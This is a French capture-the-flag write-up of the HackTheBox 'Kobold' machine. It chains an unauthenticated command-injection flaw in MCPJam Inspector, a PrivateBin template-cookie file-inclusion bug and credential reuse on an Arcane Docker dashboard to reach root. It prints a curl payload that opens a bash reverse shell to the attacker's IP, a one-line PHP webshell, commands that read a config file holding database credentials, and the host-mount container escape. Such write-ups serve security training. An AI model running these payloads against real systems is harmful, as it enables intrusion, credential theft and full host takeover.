Retour à l'accueil

RCE dans MCPJam Inspector : solution HTB Kobold

HackTheBox Kobold démontre RCE dans MCPJam Inspector via API ouverte, chaînage avec LFI dans conteneur Docker PrivateBin et réutilisation d'identifiants privesc dans tableau de bord Arcane. Solution inclut nmap, ffuf, payloads et reconnaissance interne.

HTB Kobold : du RCE MCP à root via Docker
Advertisement 728x90

RCE via MCPJam Inspector dans HackTheBox Kobold : Guide Complet

HackTheBox Kobold (Saison 10, Facile) met en lumière une menace réelle provenant d'outils de développement exposés dans l'écosystème IA/ML. Le vecteur d'attaque principal est un RCE non authentifié dans MCPJam Inspector v1.4.2 (GHSA-232v-j27c-5pp6). Cela conduit à une chaîne via les volumes Docker et la réutilisation d'identifiants, aboutissant finalement à un accès root. Cette analyse s'adresse aux professionnels DevSecOps de niveau intermédiaire à senior.

Nmap révèle les ports 22 (SSH), 80/443 (nginx, kobold.htb) et 3552 (tableau de bord Arcane). La clé est un sous-domaine générique *.kobold.htb dans SSL et le sous-domaine mcp.kobold.htb avec un MCPJam Inspector exposé.

Reconnaissance et Énumération

Scan nmap standard :

Google AdInline article slot
nmap -p- -sC -sV -oN recon/nmap/full.txt <IP cible>

| Port | Service | Version | Notes |

|------|---------|---------|-------|

| 22 | SSH | OpenSSH 9.6p1 | Pas de CVE |

Google AdInline article slot

| 80 | HTTP | nginx 1.24.0 | Redirige vers HTTPS |

| 443 | HTTPS | nginx 1.24.0 | kobold.htb |

| 3552 | HTTP | - | Tableau de bord Arcane |

Google AdInline article slot

ffuf pour l'énumération des vhosts :

ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
     -u https://kobold.htb -H "Host: FUZZ.kobold.htb" -k -fs 154

Trouvé mcp.kobold.htb — MCPJam Inspector v1.4.2. Accès complet : Serveurs, Chat, App Builder sans connexion. Connecté à Ollama.

Model Context Protocol (MCP) — un protocole pour intégrer des modèles d'IA avec des outils externes. Inspector écoute sur 0.0.0.0, et l'API /api/mcp/connect accepte serverConfig.command sans validation.

Prise de pied : RCE dans MCPJam

Configuration du listener :

nc -lvnp 4444

Payload :

curl -k https://mcp.kobold.htb/api/mcp/connect \
  -H "Content-Type: application/json" \
  -d '{"serverConfig":{"command":"bash","args":["-c","bash -i >& /dev/tcp/<Votre IP>/4444 0>&1"],"env":{}},"serverId":"pwn"}'

Shell en tant que ben (uid=1001, groups=ben,operator). Stabilisation :

python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z; stty raw -echo; fg
export TERM=xterm

Drapeau utilisateur : /home/ben/user.txt.

Reconnaissance Interne

id
# uid=1001(ben) gid=1001(ben) groups=1001(ben),37(operator)

cat /etc/group | grep docker
# docker:x:111:alice

Utilisateurs avec shell : root, ben, alice. ben — operator, alice — docker.

ss -tlnp montre localhost:8080 (PrivateBin Docker), 6274 (MCPJam). La configuration nginx révèle bin.kobold.htb → localhost:8080.

Le groupe operator a un accès en lecture/écriture à /privatebin-data/ — un volume Docker partagé.

find / -group operator 2>/dev/null

LFI dans PrivateBin via Volume

PrivateBin 2.0.2 (CVE-2025-64714, GHSA-g2j9-g8r5-rg82). LFI via le cookie template lorsque templateselection = true.

  • Webshell dans le volume :
cat > /privatebin-data/data/pwn.php << 'EOF'
<?php system($_GET['cmd']); ?>
EOF
  • Exécution :
curl -k https://bin.kobold.htb/ \
  -b "template=../data/pwn" \
  -G --data-urlencode "cmd=id"
  • Extraction de conf.php :
curl -k https://bin.kobold.htb/ \
  -b "template=../data/pwn" \
  -G --data-urlencode "cmd=cat /srv/cfg/conf.php"

Identifiants MySQL : utilisateur privatebin, mot de passe divulgué.

Élévation de Privilèges : Réutilisation d'Identifiants

Liste de contrôle :

  • SSH (alice/ben/root + divulgué)
  • su alice/root
  • Arcane : arcane/arcane-admin + divulgué

Succès : arcane / <MOT_DE_PASSE_DIVULGUÉ> dans Arcane v1.13.0 sur :3552.

Dans le tableau de bord, contrôle complet de Docker. Créer un conteneur avec un montage privilégié /host → shell root.

Points Clés à Retenir :

  • Outils MCP exposés (GHSA-232v-j27c-5pp6) — un nouveau vecteur RCE dans l'infrastructure IA
  • Volumes Docker partagés + groupe operator = accès au système de fichiers hôte
  • Réutilisation d'identifiants : noms d'utilisateur par défaut + mots de passe divulgués
  • Chaînage LFI via des volumes accessibles en écriture contourne l'isolation des conteneurs
  • Toujours énumérer les sous-domaines génériques et les services internes

— Editorial Team

Advertisement 728x90

Lire ensuite